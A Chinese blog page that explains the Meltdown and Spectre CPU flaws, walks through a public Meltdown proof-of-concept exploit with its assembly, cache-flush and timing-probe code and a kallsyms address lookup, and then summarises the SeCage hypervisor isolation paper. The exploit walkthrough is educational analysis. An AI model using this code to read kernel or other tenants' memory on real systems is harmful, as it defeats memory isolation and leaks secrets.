一步一步理解CPU芯片漏洞:Meltdown与Spectre

注:主页只为备份,该文已在freebuf上发布,链接: http://www.freebuf.com/articles/system/159811.html


作者:@Diting0x

0X00 历史之日

2018年1月3日,Google Project Zero(GPZ)团队安全研究员Jann Horn在其团队博客[1]中爆出CPU芯片的两组漏洞,分别是Meltdown与Spectre。

Meltdown对应CVE-2017-5754(乱序执行缓存污染),Spectre对应CVE-2017-5753(边界检查绕过)与CVE-2017-5715(分支目标注入)。看CVE编号就能知道,这两组漏洞早在2017年6月就已经由GPZ团队向英特尔提交,而在差不多时间由Lipp等人发布的论文Meltdown[2]与Spectre Attacks[3]也详细描述了这一攻击,从文中的声明来看,Lipp等人与GPZ团队似乎是独立发现了这两组漏洞。
Meltdown漏洞影响几乎所有的Intel CPU和部分ARM CPU,而Spectre则影响所有的Intel CPU和AMD CPU,以及主流的ARM CPU。从个人电脑、服务器、云计算机服务器到移动端的智能手机,都受到这两组硬件漏洞的影响。这必将是要在安全界乃至整个计算机界载入史册的重要日子,各种报道与公告乃至技术细节充斥着整个朋友圈、微博与媒体,可以说是路人皆知了。为何这两个漏洞如此特别,引起大家如此重视呢? 请往下看。

0X01 漏洞原理

这两组漏洞来源于芯片厂商为了提高CPU性能而引入的两种特性:乱序执行(Out-of-Order Execution)和预测执行(Speculative Execution)。

乱序执行与预测执行

早期的处理器依次顺序执行既定的处理器指令,而现代处理器为了提高性能并不严格按照指令的顺序串行执行,而是对执行进行相关性分析后并行处理乱序执行。比如当处理器中的某些指令需要等待某些资源,处理器不会真的在这里等待而停止指令的执行,而是利用等待资源的时间继续执行后续的指令。在支持乱序执行的CPU中,后面的指令可能在前面指令执行结束前就开始执行了。为了保证程序运行的正确性,处理器会对指令执行安全检查,只有当前用户权限符合指令权限时才能被执行,比如用户空间的指令访问内核内存处理器就会抛出异常。然而安全检查这个操作只有在指令退休(retirement-一条指令退休只有当它的执行的结果真正被提交并对系统可见时才会发生)时才会进行。也就是说,如果在乱序执行中,指令并没有真正执行完成而只是加载到缓存中(下文会提)是不会执行安全检查的。而此时由于乱序执行而被提前执行的指令会被处理器丢弃,但由于乱序执行的指令对缓存的操作在这些指令被丢弃时不会被重置。正是安全检查与乱序执行的空窗期才会让Meltdown有机可乘。

预测执行涉及到程序的控制流,现在处理器不是去解析所有分支指令后然后决定执行哪个操作,而是预测哪个控制流会更有可能被运行再提取相应的指令代码执行。如果预测正确的话,会带来很高的性能提升并提高处理器的并行性。如果预测错误,那些被预测执行的不正确结果会被丢弃,处理器会将状态恢复到预测执行行前的正确状态,再重新跳转到正确执行的分支或指令中运行。与乱序执行类似,预测执行对处理器缓存的操作会被保留。

这种机制从宏观上看似乎没什么问题,但由于处理器的缓存(cache)机制,那些被预测执行或乱序执行的指令会被先加载到缓存中,但在处理器恢复状态时并不会恢复处理器缓存的内容。而最新的研究表明攻击者可以利用缓存进行侧信道攻击,而Meltdown与Spectre从本质上来看属于利用处理器的乱序执行或预测执行漏洞进行的缓存侧信道攻击。

缓存侧信道攻击

基于缓存的侧信道攻击目前在学术界研究中非常流行,比如俄亥俄州立大学的Yinqian Zhang教授[10]在此领域做了许多非常杰出的工作。缓存通过数据共享来加快数据访问,也就是说缓存命中与失效对应的响应时间是有差别的,攻击者正是利用这种时间的差异性来推测缓存中的信息,从而获得隐私数据。

缓存侧信道攻击主要有Evict+Time[7]、Prime+Probe[6])与Flush+Reload[5]等攻击方式,这里主要简单介绍一下Flush+Reload,也是下文exploit中利用的方法。假设攻击者和目标程序共享物理内存(也可以是云中不同虚拟机共享内存),攻击者可以反复利用处理器指令将监控的内存块(某些地址)从缓存中驱逐出去,然后在等待目标程序访问共享内存(Flush阶段)。然后攻击者重新加载监控的内存块并测量读取时间(Reload阶段),如果该内存块被目标程序访问过,其对应的内存会被导入到处理器缓存中,则攻击者对该内存的访问时间将会较短。通过测量加载时间的长短,攻击者可以清楚地知道该内存块是否被目标程序读取过。

Meltdown与Spectre利用这种侧信道可以进行越权内存访问,甚至读取整个内核的内存数据。

Meltdown攻击指令序列

以一个简化的Meltdown攻击指令序列为例:

1
2
3
4
5
; rcx = kernel address
; rbx = probe_array
mov al, byte [rcx]
shl rax, 0xc
mov rbx, qword [rbx + rax]
  1. rcx寄存器存放用户空间程序不可访问的内核地址

  2. rbx寄存器指向探测数组probe_array

  3. 一个具有用户级权限的攻击者在第三条指令中试图访问内核地址,处理器会对其作安全检查,检查该进程是否有权限访问该地址,于是这条指令会触发异常,该指令及之后的指令对寄存器的修改都会被丢弃,处理器重新回到能正常执行的指令中。但由于处理器采用乱序执行方式,在等待处理器完成该指令执行的同时(权限检查结束之前),后面两条指令已经被执行了(尽管最终会被丢弃)。

  4. 将指令3读取到的数据乘以4096(4KB),至于为什么是4096,会在下文具体exploit中介绍。

  5. 将指令4的结果作为索引对探测数组probe_array(rbx[al*4096])进行访问并进行探测。由于一个内存页的大小是4KB,不同的数据将会导致不同的内存页被访问并存放到CPU缓存中。

此后,攻击者就可以通过缓存侧信道攻击,不断遍历加载rbx[al*4096],由于该数据此时已经在缓存中,攻击者总会遍历出一个加载时间远小于其它的数据,推测哪个内存页被访问过了,从而推断出被访问的内核内存数据。

强调一下,攻击者的目标是要不断探测probe_array来获取内核地址指向的数据。

0X02 Exploit 分析

来看在github上爆出的一个POC[4],也是目前来看比较能让大家深入理解meltdown的一个exploit。该POC能利用应用程序读取内核中的linux_proc_banner变量,这个变量存储了Linux内核的版本信息,可以通过命令cat /proc/version获取。cat /proc/version触发了系统调用将linux_proc_banner变量的信息返回给应用程序。而利用meltdown漏洞可以直接从应用程序中访问linux_proc_banner变量,破坏了内存隔离。
该POC首先利用“sudo cat /proc/kallsyms | grep “linux_proc_banner””获取linux_proc_banner在内核中的地址,再读取该地址上的值。从该地址读取变量的值正是利用了meltdown漏洞。




总的来说,攻击者要窃取内核数据,包括四个过程:Flush阶段,Speculate阶段,Reload阶段以及Probe阶段。值得注意的是,Reload阶段包含在Speculate阶段中,但由于Reload阶段与Flush阶段是一个完整的缓存侧信道攻击过程,不得不把它单独列出来。整个执行顺序是Flush阶段-Speculate阶段(包含Reload阶段)-Probe阶段,这四个过程我们会在下文一一提到。为便于理解,先讲Speculate阶段。

Speculate阶段

Speculate阶段执行上一章节的代码序列过程,利用乱序执行将目标内核地址以索引的形式访问探测数组并加载到缓存中。由speculate函数实现。

为了解该过程,首先用gdb调试meltdown可执行程序了解下该exploit的执行过程




可以看到在spcculate函数处会触发段错误,而speculate函数也正是该POC的关键代码,其由一段汇编代码组成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
lea %[target], %%rbx\n\t"
"1:\n\t"
".rept 300\n\t"
"add $0x141, %%rax\n\t"
".endr\n\t"
"movzx (%[addr]), %%eax\n\t"
"shl $12, %%rax\n\t"
"movzx (%%rbx, %%rax, 1), %%rbx\n"
"stopspeculate: \n\t"
"nop\n\t"
:
: [target] "m" (target_array),
[addr] "r" (addr)
: "rax", "rbx"

该函数的目的是欺骗CPU的乱序执行机制。此处是AT&T 汇编语法,AT&T格式的汇编指令是“源操作数在前,目的操作数在后”,而intel格式是反过来的。我们来一条一条分析上述汇编指令。

lea %[target], %%rbx: 把全局变量target_array的地址放到RBX寄存器中,这里的target_ array正是上一章节中的探测数组probe_array, target_array正好设置为256*4096字节大小,这个设置也是有讲究的,一个字节的取值范围正是0-255,共256个数。4096正好是x86架构中一个页面的大小4KB。那target_array数组正好填充256个页面。
如下:

1
2
3
4
5
6
#define TARGET_OFFSET 12
#define TARGET_SIZE (1 << TARGET_OFFSET)
#define BITS_READ 8
#define VARIANTS_READ (1 << BITS_READ)
static char target_array[VARIANTS_READ * TARGET_SIZE];

add $0x141, %%rax: 是一条加法指令,会重复300次,这条指令的作用只是测试处理器能乱序执行成功。

movzx (%[addr]), %%eax: 对应上一章节指令序列的第三条指令,将攻击者的目标内核地址所指向的数据放入eax寄存器中,该操作会触发处理器异常

shl $12, %%rax: 对应上一章节指令序列第四条指令,左移12位,也就是乘以4096,大小与target_array数组的列相等,为推测内核地址指向的数据做准备。

Reload阶段

movzx (%%rbx, %%rax, 1), %%rbx:
对应上一章节指令序列第五条指令,以目标内核地址指向的数据乘以4096作为索引访问target_array数组,这时,不同的数据将会被加载到不同的缓存页面中。这个过程正是进行缓存侧信道攻击的Reload阶段做的事情。

Flush阶段

在调用speculate函数窃取数据之前,攻击者会故意冲洗掉target_array的缓存,也就是进行缓存侧信道攻击的Flush阶段,由clflush_target函数实现:

1
2
3
4
5
6
7
void clflush_target(void)
{
int i;
for (i = 0; i < VARIANTS_READ; i++)
_mm_clflush(&target_array[i * TARGET_SIZE]);
}

执行完movzx (%%rbx, %%rax, 1)指令之后,处理器开始处理异常,攻击者则注册一个信号处理器,直接修改程序指针寄存器,将执行位置跳转到stopspeculate指令继续执行即nop指令。这里注意,虽然处理器开始处理异常,但是

Probe阶段

待Flush阶段与Speculate阶段(包含Reload阶段)做完准备工作后,Probe阶段真正去探测内核地址指向的数据。

也就是执行完speculate函数之后,开始执行check函数,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void check(void)
{
int i, time, mix_i;
volatile char *addr;
for (i = 0; i < VARIANTS_READ; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = &target_array[mix_i * TARGET_SIZE];
time = get_access_time(addr);
if (time <= cache_hit_threshold)
hist[mix_i]++;
}
}

check函数就是为了检测不同内存数据访问的时间差异来探测被缓存过的数据。简单来说,获取数据就是获取target_array数组索引的过程。
由于target_array的大小为256*4096,所以最多只要测试256次,就可以推测出内核地址指向的数据中的一个字节是否被访问过了。注意,这里为什么是一个字节,前面说过一个字节正好最大可以表示255即256个数。所以要推测出内核地址指向的完整数据,需要不断循环这个过程,也就是下一段代码做的事情:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
for (score = 0, i = 0; i < size; i++) {
ret = readbyte(fd, addr);
if (ret == -1)
ret = 0xff;
printf("read %lx = %x %c (score=%d/%d)\n",
addr, ret, isprint(ret) ? ret : ' ',
ret != 0xff ? hist[ret] : 0,
CYCLES);
if (i < sizeof(expected) &&
ret == expected[i])
score++;
addr++;
}

而readbyte函数会循环调用clflush_target(),speculate(addr),check()。如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
for (i = 0; i < CYCLES; i++) {
ret = pread(fd, buf, sizeof(buf), 0);
if (ret < 0) {
perror("pread");
break;
}
clflush_target();
speculate(addr);
check();
}

这也正是前面讲到的Flush阶段(对应clflush_target()),Speculate阶段(对应speculate函数,其中包含Reload阶段)以及Probe阶段(对应check())。

至此,攻击者窃据数据过程完成。

下图为该POC的运行结果:




该利用程序是一个一个字节读取linux_proc_banner地址中的内容,可以运行cat /proc/version命令对比结果,只要利用Meltdown窃取的数据足够多,窃取的数据和该命令的运行结果是一致的。可见攻击者成功执行攻击。

值得进一步思考的问题

  1. 该利用代码一次只能探测一个字节的数据,如果在内核数据还没读取完整之前处理器已经处理异常了该怎么办?
  2. 探测数组target_array是否可以不用设置成256*4KB,设置成512*2KB,1024*1KB效果会如何?
  3. 探测数组target_array是个大数组,占用多个内存页面,是否容易被检测到?

0X03 漏洞危害

Meltdown与Spectre本质上都是基于缓存侧信道的攻击。

对于个人终端用户,利用Meltdown与Spectre漏洞,低权限用户可以访问内核的内容,泄露本地操作系统底层的信息、秘钥信息等,通过获取泄露的信息,可以绕过内核的隔离防护;如果配合其它漏洞,可以利用该漏洞泄露内核模块地址绕过KASLR等防护机制实现其他类型的攻击进行提权。另外,利用浏览器JIT特性预测执行特殊的JIT代码,从而读取整个浏览器内存中的数据,泄露用户帐号,密码,邮箱, cookie等隐私信息。

对于云服务中的虚拟机,可以通过相关攻击机制获取完整的物理机的CPU缓存数据,绕过虚拟机超级管理器(Hypervisor)的隔离防护,以泄露其它租户隐私信息。

然而Meltdown与Spectre主要用于信息泄露,并不能对目标内存地址进行任意修改。攻击者必须要有执行权限才能进行攻击,对于一般用户只要不被执行恶意代码(比如访问恶意网站),就不会被Meltdown与Spectre攻击。但是在云端,攻击者可以租赁虚拟机来执行攻击者想要执行的任意代码,从而获取宿主物理机以及其它租户的信息。可见此次CPU漏洞对各云服务商冲击还是非常大的。各大云厂商也分别针对此次芯片漏洞发布应对公告。

总体来看,这次漏洞虽然影响广泛,但利用复杂,加上限制也很大,实施起来并不是那么容易。当然,加紧防护措施仍是当务之急。通过这次漏洞,安全人员应当有更深入的思考与反思。

针对Meltdown与Spectre攻击的防御措施以及其它影响后续文章继续研究。

不知讲清楚否?

参考

  1. https://googleprojectzero.blogspot.hk/2018/
  2. https://meltdownattack.com/meltdown.pdf
  3. https://spectreattack.com/spectre.pdf
  4. https://github.com/paboldin/meltdown-exploit
  5. https://www.usenix.org/node/184416
  6. http://palms.ee.princeton.edu/system/files/SP_vfinal.pdf
  7. https://dl.acm.org/citation.cfm?id=2725064
  8. https://zhuanlan.zhihu.com/p/32654221
  9. https://weibo.com/ttarticle/p/show?id=2309404192925885035405
  10. http://web.cse.ohio-state.edu/~zhang.834/

SeCage

通过有效的强制虚拟机管理程序的域内隔离来防止内存泄漏

SeCage

摘要

内存泄漏 -> 内存任意读

主要问题:所有的数据都驻留在同一块内存区域

  • 攻击者可以读被攻击进程的内存
  • Rootkit可以读整个系统的内存

提出对策:隔离处理关键秘密的代码到一个隔离的执行环境中去执行。

  • 为关键数据创建一个分区
  • 将这个分区与其他分区隔离

现有方法:

  • 当内核受到攻击后,不能进行保护
  • 提供的粗粒度保护不足以抵御域内攻击、
  • 需要底层软件(如os,hypervisor)的过度干预
  • 不适用于大型软件(几百万行代码)

SeCage:虚拟机管理程序实施的域内隔离

  • strong isolation强大的隔离:可以在很大的攻击面进行保护
  • practical实际的:使用静态分析与动态分析相结合的混合分析方法将大型软件分解为不同的隔间
  • efficient高效的:利用商业硬件功能(VMFUNC)从调用中分离出策略来最小化VM Traps
    • 改进了VMFUNC机制,并在英特尔处理器中嵌套分页,以透明地为不同的隔间提供不同的内存视图,同时允许跨域的低成本和透明的调用,而无需管理程序干预。

1 介绍

基于虚拟机管理程序的保护方案仅在应用程序级别提供保护,因此受害者应用程序内部仍然存在漏洞;针对应用程序逻辑片(PAL)的方法要求PAL是独立的,因此不允许与应用程序的其他部分进行交互。

此外,由于安全性和功能性的紧密结合,以前的方法通常需要特权系统(例如管理程序)的频繁干预,迫使用户在安全性和性能之间进行权衡。

我们的解决方案:在本文中,我们利用混合分析的特权分离思路(主要)自动将整体软件系统分解成一组隔间,每个秘密隔间包含一组秘密及其相应的代码,一个主隔间处理其余部分的应用逻辑。这确保只有秘密区域内的函数才能访问秘密。

混合分析

  • 静态分析:不准确,会引入一个很大的代码base到秘密隔间中
  • 动态分析:提取最常使用的函数
  • 覆盖率问题:为了处理可能的覆盖问题,SeCage基于静态分析结果和运行时信息使用运行时异常处理来检测访问是否合法。

硬件虚拟化技术:即使在应用程序甚至操作系统受到攻击者的控制的强大对手模式下,利用硬件虚拟化技术来强化机密隔间和主隔间之间的强大隔离。

  • 嵌套式分页:SeCage为每个隔离区分配一个完全隔离的地址空间,并利用硬件辅助的嵌套式分页来强制隔离。
  • VMFUNC:为了在组件之间提供安全高效的通信,SeCage采用了英特尔硬件辅助虚拟化支持的VMFUNC特性,将控制平面与数据平面分离开来。

减少hypervisor的干预:SeCage首先指定可以将一个秘密隔间通过另一个隔间调用到CPU的安全策略,然后允许这样的调用在没有管理程序干预的情况下完成。这大大降低了由于频繁陷入管理程序而导致的开销。


2 概览

SeCage的目标:

  • 主要目标:为用户特定的机密(例如,私钥)提供强有力的保密性保证,即使面对有漏洞的应用程序或恶意操作系统。
  • 第二个目标:使SeCage的方法具有实用性,因此可以用于开销较小的大型软件系统。

2.1 方法概览

  • 将关键数据和代码分区

    • 使用混合分析来提取秘密闭包
    • 从其他上下文中隔离秘密闭包
  • 利用虚拟机管理程序强制执行内存隔离

    • 秘密分区驻留在不同的内存区域
    • 非法秘密内存访问触发违规至VMExit




2.1.1 混合分析来提取秘密闭包

由于秘密可能会在其整个生命周期中被复制和传播,因此仅仅保证秘密的存储是远远不够的。相反,SeCage必须提供一个全面的机制,以防止在整个应用程序执行期间泄露秘密及其来源,而不影响秘密的正常使用。因此,SeCage需要找到可能操纵秘密的所有函数的闭包。

一种直观的方法是使用静态分析来发现代码的闭包。然而,由于诸如指针混叠之类的问题,静态分析对于以C / C++编写的大型软件仍然存在精确性问题。这可能容易导致比必要的更大的闭包,可能会扩大秘密区的代码库并增加大量不必要的上下文切换。另一种方法是重写与秘密有关的代码,并将秘密的操作解耦成一个独立的服务,甚至是一个可信的第三方节点。但是,这可能涉及高昂的人力,对于OpenSSL等大规模软件来说可能会非常困难。

SeCage改为结合静态和动态分析来提取与秘密有关函数的闭包。它首先使用静态分析来发现与秘密相关的潜在函数。为了减少秘密封闭的大小,它使用一组训练输入来重新进行动态分析,从而获得紧凑而精确的与秘密有关的函数。为了处理覆盖问题,即一个函数可能合法的触及秘密,但被排除在秘密区间之外,SeCage根据静态分析结果和运行时异常处理过程中的执行上下文自适应地将这个功能包含到秘密部分。

2.1.2 虚拟机管理程序强制保护

面对恶意操作系统这样强大的对手模型,SeCage利用可信的虚拟机管理程序来保护隐私。具体来说,SeCage将一个特定的秘密闭包放到一个单独的隔离区运行,并利用硬件虚拟化支持来提供不同隔间之间的强大隔离。

2.1.3 分离控制和数据平面

由于每个分区仍然需要互相通信,虚拟机管理程序似乎不可避免地需要频繁干预这种通信。但是,这会导致频繁的VMExits,从而导致高额开销。为了缓解这种情况,SeCage利用分离控制台数据平面的想法来最小化管理程序干预。

具体而言,SeCage只需要虚拟机管理程序定义两个隔间之间的调用是否合法(控制平面),同时让两个隔间之间的通信符合预定义的策略(数据平面)。在每个隔间的入口处,可以进一步检查调用者,看是否允许通信。SeCage通过利用被称为VMFUNC的商用硬件功能(3.1节),实现了这种方案。

2.1.4 架构概览

图1显示了SeCage的架构概述。受保护的应用程序分为一个主隔间和一组秘密隔间。每个秘密隔间都包含一组秘密和相应的敏感函数。我们并不认为隔间是独用的,里面的函数可以和应用程序的主隔间相互作用。但是,SeCage保证一个分区中的秘密不能被同一应用程序的其他分区和底层软件访问







一旦隔间生成(步骤1),在应用程序初始化阶段(步骤2),虚拟机管理程序负责为每个隔间设置一个隔离的存储器,并保证只有相应隔间的函数才能访问这些秘密。在运行期间,秘密隔间被限制为通过蹦床机制(步骤3)与主隔间相互作用,而不会陷入管理程序。只有当秘密隔间(例如主隔间)之外的函数试图访问秘密时,将会通知虚拟机管理程序处理这种违规行为。

2.2 威胁模型和假设

  • 信任虚拟机管理程序,不信任应用程序中的操作系统或其他分区
  • 不考虑DoS和侧信道攻击

SeCage旨在保护来自恶意应用程序和恶意操作系统的重要秘密。

对于易受攻击的应用程序,我们认为对手有能力阻止,注入或修改网络流量,以便能够进行所有众所周知的攻击,以便非法访问位于隐藏应用程序的内存空间中的任何数据。具体来说,攻击者可以像HeartBleed bug 一样利用缓冲区过度读取进行攻击,或者尝试使用复杂的控制流劫持攻击来使访问控制策略失效或绕过权限检查,并读取位于相同地址空间的敏感数据。

底层的系统软件(如操作系统)是不可信的,它们可以进行任意的恶意行为,从而泄露应用程序的秘密。我们与其他相关系统共享这种攻击者模型。此外,SeCage还考虑了Iago攻击,恶意操作系统可能通过操纵系统服务的返回值(例如systemcall)以及回滚攻击导致应用程序自身受到伤害,其中特权软件通过强制内存快照回滚可以回滚至应用程序的关键状态。

SeCage假设受保护的机密应该只在应用程序中使用,秘密隔间内部的函数不会自动将他们发送出去。对于像OpenSSL这样的商业软件来说,这是正确的,因为软件本身就是为了保持这种秘密而设计的。即使不是这样,在SeCage的静态和动态阶段,当产生秘密隔间时,也可以检测到这一点。

此外,SeCage不会试图阻止目标不是泄露数据的DoS攻击。它不会试图防止侧信道攻击,以及通过程序控制流程泄漏信息的隐式流程攻击,因为它们通常很难部署,在我们的案例中,用于泄露数据的带宽容忍度非常有限。最后,SeCage没有考虑面对恶意操作系统时应用程序的可用性。


3.实时隔离强制实施

在本节中,我们将介绍如何在应用程序运行时强制实施SeCage保护,包括内存保护,运行时执行流程的机制等方面。

3.1 内存保护

在SeCage中,二层分页机制保证了隔离区的隔离。通常,客户虚拟机只能看到客户虚拟地址(GVA)到客户物理地址(GPA)的映射,而虚拟机管理程序为每个客户虚拟机维护一个较低级别的扩展页表(EPT),EPT将GPA映射到主机物理地址(HPA)。




  • 虚拟机管理程序控制客户虚拟机访问物理地址的方式
  • 任何违反EPT的行为都会触发VMExit陷入虚拟机管理程序

在SeCage的初始化阶段,除了针对整个访客虚拟机的原始EPT EPT-N之外,管理程序还为每个受保护的秘密分区初始化另一个EPT,称为EPT-S。




如图2所示,SeCage将内存分为两部分:数据和代码。

  • 对于数据部分,EPT-S映射包括秘密的所有数据,而EPT-N具有除秘密之外的数据。
  • 对于代码段,蹦床代码被映射到这两个EPT中,并设为只读。 此外,EPT-S只包含秘密区域中的敏感函数代码,而EPT-N映射除了敏感函数之外的代码。



  • 数据段:从主EPT中移除有关秘密的内存
  • 代码段:敏感函数只存在于秘密EPT中

通过上述的EPT配置,SeCage确保EPT-N中不会存在秘密,只有敏感函数的代码才能访问相应的秘密。这些代码页在设置阶段被验证,并且EPT条目被设置为可执行只读。同时,EPT-S中的数据页面被设置为不可执行,因此可以防御攻击者的注入代码攻击。因此,恶意应用程序和恶意操作系统都无法访问秘密。

Q:为什么要将整个数据段映射到EPT-S?
需要注意的是,如果我们只将秘密放在秘密区域中,则由于敏感函数除了秘密之外还可以访问其他数据存储器,所以可能会有过多的上下文切换。 为了简单起见,由于敏感函数的代码片段非常小并且被认为是我们的威胁模型中可信的,所以SeCage将整个数据段映射到秘密区域中。

EPTP Switching VMFUNC

  • VM Functions: 英特尔虚拟化扩展
    非根客户虚拟机可以直接调用一些函数而不触发VM exit
  • VM Function 0: EPTP Switching: 允许客户虚拟机中的软件(在内核或用户模式下)直接加载新的EPT指针(EPTP),从而建立不同的EPT分页结构层次。

只能从虚拟机管理程序事先配置的潜在EPTP值列表中选择EPTP,虚拟机管理程序充当定义客户虚拟机应符合规则的控制平面。在运行期间,管理程序不会干扰客户虚拟机内的执行流程。




图3显示了为了使用VM Function 0: EPTP Switching,虚拟机管理程序需要进行的示例配置:除了一些功能位之外,虚拟机管理程序需要在VM Function VMCS字段设置位0(EPTP切换位),并将EPT指针配置到由EPTP LIST ADDR VMCS字段指向的存储器。

在运行期间,非root用户软件调用EAX设置为0的VMFUNC指令来触发EPTP切换VM功能,ECX从EPTP列表中选择一个条目。 目前,EPTP切换支持最多512个EPTP条目,这意味着SeCage最多可以为每个客户虚拟机支持512个分区。

分离控制平面与数据平面




  • 控制平面(策略):虚拟机管理程序预先配置不同隔间使用的EPT
  • 数据平面(调用):应用程序可以直接切换EPT而无需hypervisor干预

3.2 确保执行流程

SeCage将逻辑划分为敏感函数蹦床其他代码(包括应用程序代码和系统软件代码)。只有秘密分区的敏感函数才能访问秘密,而蹦床代码则用来在秘密部分和主要部分之间切换。

在运行期间,主分区中的函数可以调用敏感函数,而敏感函数也可以调用秘密分区之外的函数。




图4显示了在运行时可能的执行流程。根据调用方向将蹦床代码分类为蹦床和跳板。图4的上半部分示出了蹦床的位置:当主分区中的代码调用一个秘密隔间中的一个函数时,不是直接调用敏感函数,而是调用相应的蹦床代码。

  1. 首先执行VMFUNC指令加载秘密区间内存;
  2. 然后栈指针被修改为指向安全栈页面。
  3. 如果参数数目大于6(寄存器支持的最大参数数目),则其余参数应复制到安全栈中。
  4. 一切准备就绪,将调用真正的敏感函数。
  5. 一旦这个函数返回,蹦床代码就会消除安全堆栈的内容,将ESP恢复到前一个栈位置,反向执行VMFUNC指令并将结果返回给调用者。

3.2.1 主分区调用敏感函数




3.2.2 秘密隔间可以调用普通函数

(例如,系统调用,库调用等)




3.2.3 使用蹦床和跳板来切换上下文

不同分区有不同的上下文,使用蹦床跳板来切换上下文,上下文切换使用VMFUNC完成













3.3 其他杂项

3.3.1 存储

在初始化阶段,可以从独立配置文件,可执行二进制文件或数据库模式读取机密。这样的存储总是可以被系统软件访问,没有有效的方法来保护它们。

SeCage通过另一种方法解决了这个问题,确保在这些存储中不会有任何秘密。存储中的秘密被替换为一些虚拟数据,在应用程序启动时,虚拟数据将被恢复为真实的秘密。在运行时,SeCage确保在敏感功能中不会发生I/O写入,从而保证秘密不会泄漏到存储器中。

3.3.2 中断处理

在秘密区间执行期间,在EPT-S上下文中不存在操作系统支持,因此不允许将中断注入到客户虚拟机。

当一个非root的客户虚拟机由于中断而陷入虚拟机管理程序时,SeCage中相应的处理程序检查它是否在EPT-S的上下文中,以及它是什么样的中断。如果在敏感函数的执行过程中发生中断,它只是丢弃某些中断(例如定时器中断),并延迟其他中断(例如NMI,IPI)直到回到EPT-N上下文为止。

3.3.3 多线程

SeCage支持多线程程序。如果只有一个VCPU运行所有线程,由于我们将EPT-S VCPU上的定时器中断丢弃,EPT-S上下文不会被其他线程抢占,直到它返回到EPT-N环境。

如果有多个VCPU,则由于每个VCPU都有自己的EPT,如果一个VCPU在EPT-S上下文中,则其他VCPU可以在EPT-N上下文中运行,并且不允许在EPT-S中读取秘密。

3.4 对秘密隔间整个生命周期的保护

图5显示了秘密隔间的生命周期保护。SeCage增加了三个hypercalls,如表2所示。







3.4.1 Creation 创建

在应用程序加载到客户虚拟机之前,SeCage利用应用程序分解框架来分析应用程序,并将其分解为主分区和几个秘密分区。

根据秘密加载的方式,秘密在配置文件,可执行二进制文件或数据库等持久性存储中被替换为伪数据。例如,如果秘密在运行期间从文件(例如OpenSSL)或数据库加载,则存储中的秘密被替换。否则,应用程序在用伪数据替换源代码中的秘密之后被编译。

同时,开发者需要通过预定义的安全离线通道将秘密和伪数据的映射(例如,< key,length>→secret binding)提供给hypervisor。通过这种方式,hypervisor可以在部署阶段将真实的秘密加载到安全内存中。

3.4.2 Deployment 部署

应用程序部署的过程包括以下步骤:

  1. 启动应用程序时,检测代码发出SECAGE INIT超级调用,它将虚拟地址起始位置和敏感函数页面数以及蹦床代码作为参数传递。管理程序首先检查敏感函数和蹦床代码的完整性,以及设置如3.1节所述的EPT-N和EPT-S。值得注意的是,EPT-S映射了几个从EPT-N中不可见的保留页面,这些页面将在稍后被用作安全堆栈。

  2. 管理程序调用VMENTER来恢复不可信的应用程序执行。当不可信代码为秘密伪造的副本调用内存分配函数时,它将被重定向到敏感函数中的secure_malloc以从安全的堆中分配页面。

  3. 在将伪造秘密复制到敏感函数中的安全堆之后,发出SECRET LOAD调用。虚拟机管理程序然后扫描安全的堆内存,并根据用户提供的伪秘密与秘密的映射关系将伪数据替换为真实的秘密。

通过上述应用程序部署协议,SeCage确保了在SECRET LOAD之前,内存中不存在任何秘密,因此即使执行环境不可信,也不会泄露任何秘密。在SECRET LOAD之后,秘密只能在秘密隔间内访问,因此主分区中的代码也无法泄露秘密数据。尽管不可信的代码可能违反协议,通过跳过调用超级调用或者不遵守安全malloc的规则,管理程序可以检测到这样的违规,并且在这种情况下秘密不会被加载到内存中。

3.4.3 Runtime 运行

在运行时,主分区和秘密分区中的代码将同时执行。
SeCage机制确保:(1)秘密及其副本只存在于EPT-S映射中,(2)秘密及其副本只能在敏感函数执行过程中使用。如果主分区中的代码尝试访问秘密内存,则会由于违反EPT而发生VMExit,然后通知Hypervisoris检查访问模式。

如果访问请求源自主分区代码到秘密,并且从静态分析提取的函数中不包括相应的函数,则可能发生了攻击,在这种情况下,管理程序应该停止应用程序的执行并通知用户该异常的访问请求。如果该访问请求根据静态分析的结果和执行上下文符合预定义的策略,则管理程序将相应的函数包含到秘密区间的敏感函数闭包。

3.4.4 Termination 终止

当应用程序终止时,秘密也应该被清除。如果应用程序正常退出,它会发出SECAGE RESTORE超级调用,以便虚拟机管理程序帮助删除秘密隔间的EPT-S。即使应用程序异常退出,或者应用程序或操作系统拒绝通知虚拟机管理程序,秘密信息也只存在于EPT-S中,因此不会被泄露。


4. 应用程序分解




上图显示了应用程序分析和分解的一般过程。给定一个应用程序和用户定义的秘密,我们需要分析秘密的数据流,以及可能访问这些秘密数据的敏感函数。虽然静态分析可以对程序的所有可能的执行路径进行全面的分析,但是它具有精确性问题,可能会导致更大的TCB和更高的开销。

我们观察到在大多数情况下,操纵秘密的执行流程是相对固定的。基于这一观察,我们采用混合方法来提取秘密闭包。具体而言,我们采用动态方法来实现灵活的信息流控制(IFC)分析,以获得最常见但可能不完全的秘密闭包(步骤a),并且还依靠静态分析的综合结果来避免一些角落的情况(步骤bcd)。另一方面,它提供了一系列在编译期间自动分解应用程序的机制。然后,SeCage将这些秘密和敏感的功能分解成一个独立的秘密分区,可以由虚拟机管理程序单独保护(步骤(ef))。

4.1 混合秘密闭包提取

静态方法:像指针混叠一样的精确问题

  • 导致明显大于必要的闭包
  • 可能会引入更大的TCB和更差的性能

动态方法:完整性问题

  • 可能会引入大量的误报

4.1.1 静态污点分析

我们利用CIL应用程序的中间表示进行静态污点分析。 我们将这组秘密数据表示为{s},对秘密的引用集合作为{s ref}被提供。 我们的目标是找到所有可能的指令,这些指令表示为sink,即解引用变量x ∈ {s ref}。

以下的数据流将被跟踪:

  1. 秘密数据引用的传播将被追踪;
  2. 将秘密数据的引用作为函数的参数传递时被跟踪;
  3. 将秘密数据的引用作为函数的返回值时被跟踪;
  4. 对秘密数据引用解引用时被跟踪,sink指令被记录。

根据多变量分析,功能分析多次。在我们的方法中,{s}和{s ref}在整个过程中不断变化,当程序到达一个固定点时,我们停止分析,而秘密和参考集不再改变。通过这种污点分析,我们可以获得大量潜在的敏感函数。

4.1.2 动态闭包提取

  • 发现:执行秘密数据的流程相对固定
  • 目标:获得最常见但可能不完全的紧凑的秘密闭包
